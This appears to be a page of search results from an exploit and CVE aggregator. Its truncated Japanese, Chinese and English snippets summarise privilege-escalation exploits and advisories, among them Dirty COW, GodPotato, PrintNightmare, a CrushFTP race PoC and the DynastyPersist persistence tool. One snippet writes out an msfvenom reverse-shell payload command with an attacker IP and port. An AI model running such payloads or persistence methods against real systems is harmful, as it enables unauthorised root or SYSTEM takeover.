265664 matches found
Review.CVE-2021-3156
👑 CVE-2021-3156 Baron Samedit — Privilege Escalation via Heap Overflow in sudo 📅 日付: 2025-06-08 ✍️ 著者: @TopskiyPavelQwertyGang 🧠 セキュリティ研究者 | レッドチーム愛好家 🧠 CVE概要 CVE-ID: CVE-2021-3156 タイプ: ヒープベースのバッファオーバーフロー コンポーネント: sudoedit sudo アクセスレベル: ローカル 目的: root権限の取得 🧠 説明 sudoedit...
CVE-2026-78019
Dell Secure Connect Gateway SCG Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Functionality from Untrusted Control Sphere vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges, Filesyst...
DynastyPersist
DynastyPersist 1.5 DynastyPersist: Linux永続性を簡単に実現するための合理化されたツール。 KoTH、Battlegrounds、ペンテスト運用 をサポート インストール • ドキュメント • 使用方法 ドキュメント 機能 機能| 説明 ---|--- SSH鍵生成| 隠密アクセスのためのSSHキーを自動生成します。 Cronジョブ永続性| スケジュール永続性のためのcronジョブを設定します。 Root権限カスタムユーザー| root権限を持つカスタムユーザーを作成します。 RCE永続性| リモートコード実行による永続性を実現します。...
pytmipe
PYTMIPE & TMIPE PYTMIPE PYthon library for Token Manipulation and Impersonation for Privilege Escalation is a Python 3 library for manipulating Windows tokens and managing impersonations in order to gain more privileges on Windows. TMIPE is the python 3 client which uses the pytmipe library...
pytmipe
PYTMIPE & TMIPE PYTMIPE （トークン操作と偽装による特権昇格のためのPythonライブラリ）は、Windowsトークンを操作し、偽装を管理してWindows上でより多くの特権を得るためのPython 3ライブラリです。TMIPE は、 pytmipe ライブラリを使用するPython 3クライアントです。 内容 Pythonクライアント : tmipe python3 tmipe.py Pythonライブラリ : pytmipe 。このプロジェクトを他のプロジェクトに含めるのに便利です。 pytinstallerの例 、スタンドアロン実行可能ファイルを取得するため...
Priv2Admin
目标是“翻译”Windows操作系统权限，使其指向以下路径之一： 1. 管理员权限 2. 完整性/机密性威胁 3. 可用性威胁 4. 纯粹混乱 权限列表及说明见：https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants 如果可以通过多种方式达成目标，优先级如下： 1. 使用内置命令 2. 使用PowerShell（仅当存在可用的脚本） 3. 使用非操作系统工具 4. 使用其他任何方法 你可以通过 whoami /priv...
CVE-2022-37706-LPE-exploit
CVE-2022-37706 皆さん、今回は私が発見した最近の0-dayについてお話しします。Linuxの主要なウィンドウマネージャの一つであるEnlightenment https://www.enlightenment.org/ に関するものです。 この0-dayは、任意のユーザーを非常に簡単かつ即座にroot権限に昇格させます。 このエクスプロイトはUbuntu 22.04でテストされていますが、どのディストリビューションでも問題なく動作するはずです。...
CVE-2020-27786-Kernel-Exploit
CVE-2020-27786 カーネルエクスプロイト 詳細 詳細と解説はこちら: https://1day.dev/notes/Linux-Kernel-n-day-exploit-development TL;DR この脆弱性は、書き込み Use-After-Free を引き起こす競合状態（Race Condition）です。競合ウィンドウは、ユーザー空間からのページフォールトを処理する userfaultd 技術と、msgmsg を使用したカーネルアドレスの漏洩、および I/O...
Lenovo-CVE-2025-8061
Lenovo-CVE-2025-8061 针对 LnvMSRIO.sys（3.1.0.36）驱动程序弹出系统 Shell 的 PoC。 所有功劳归于原作者 来自 Quarkslab 的 Luis Casvella。 此 PoC 适用于最新的 Windows 11 版本 24H2（需禁用 KVAShadowing 和内核隔离！） !NOTE 此项目使用最新的 Visual Studio 22 编译。 利用时的实用说明 !CAUTION 此漏洞利用的偏移量针对以下 Windows 版本硬编码：Edition build lab:...
CVE-2026-78023
Dell Secure Connect Gateway (SCG) Policy Manager versions prior to 5.34.00.16 are vulnerable to an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639). A low privileged attacker with remote access could exploit this flaw to achieve Elevation of privileges . No specific exploi...
CVE-2026-106488
A flaw was found in plugin-auth-backend-module-oidc-provider. In deployments using email-based identity resolution with an OpenID Connect OIDC provider that allows unverified email addresses, an authenticated attacker can achieve privilege escalation by assuming another catalog identity. This...
exploiting-cve-2017-5123
CVE-2017-5123のエクスプロイト はじめに このリポジトリは、MISC Magazine 96に掲載された記事への追加です。 SMEP/SMAPおよびKASLRを有効にした仮想マシン上で、信頼性の高い方法で権限昇格を達成しました。ただし、システムは不安定な状態になり、oopsが発生する可能性が非常に高いことに注意してください。 このリポジトリの内容 configs/フォルダには、LinuxカーネルとBusyboxの設定ファイルがあり、それぞれデフォルトとは少し異なります。...
GodPotato
GodPotato 過去6年間のPotato権限昇格の歴史（RottenPotatoの始まりからJuicyPotatoNGまで）に基づき、DCOMの研究を通じて新たな技術を発見しました。これにより、Windows 2012～Windows 2022で権限昇格が可能になりました。今では「ImpersonatePrivilege」権限さえ持っていれば、「NT AUTHORITY\SYSTEM」になれます。通常、WEBサービスやデータベースサービスは「ImpersonatePrivilege」権限を持っています。...
CVE-2021-1732
CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 ローカル権限昇格の脆弱性研究およびPoc/Exploit開発 影響を受けるシステムとアプリケーションのバージョン Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64‑based Systems Windows 10 Version 20H2 for 32‑bit Systems Windows 10 Version 20H2 for x64‑based Systems...
CVE-2016-5195
描述： dcow 是漏洞 CVE-2016-5195 的一个可能利用程序。 在受影响系统上以非特权用户身份运行该程序，它将修改 /etc/passwd 文件，强制设置密码 "dirtyCowFun"（使用 SHA-512，但可为旧标准修改）。 如果执行成功，使用该密码执行 su 即可获得 root shell。 使用 -s 选项（推荐）将自动打开一个 root shell。 如果 dcow 在不带选项或使用 -n 选项（见下方示例）运行时，会在当前执行目录中创建原始 /etc/passwd 的备份文件 .sshbak。 免责声明：...
CVE-2021-41805
CVE-2021-41805 HashiCorp Consul 通过 API 远程代码执行 HashiCorp Consul Enterprise 在 1.8.17 之前、1.9.x 在 1.9.11 之前以及 1.10.x 在 1.10.4 之前存在不正确的访问控制。一个命名空间中的 ACL 令牌（具有默认 operator:write 权限）可用于在另一个不同的命名空间中实现意外的权限提升。 摘要 CVEID : CVE-2021-41805 Base Score : 8.8 Severity : 高 Issued on : 2021-12-12 Affected Versions ...
CVE-2024-24402
漏洞报告 CVE 发现者: Jarod Jaslow MAWK 漏洞详情: 端点: Nagios XI Version 2024R1.01 漏洞类型: 来自用户 "NAGIOS" 的权限提升 利用结果: 在目标系统上获得完整的 root 访问权限 复现步骤: 1. 创建 Nagios XI Version 2024R1.01 的新实例: 从以下地址下载 Nagios XI OVA 文件: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova 部署 OVA 以创建新实例。...
CrushFTP_CVE-2025-54309
CVE-2025-54309 - CrushFTP 受影响版本 10.8.5 11.3.434 由 watchtower 编写的竞态条件 PoC，已调整为更具可扩展性。 python crushedftp.py usage: crushedftp.py -h -u USERNAME -p PASSWORD -r REQUESTS -P PAYLOAD target CrushFTP CVE-2025-54309 XML Race Condition Exploit positional arguments: target Target CrushFTP URL e.g...
NimNightmare
CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...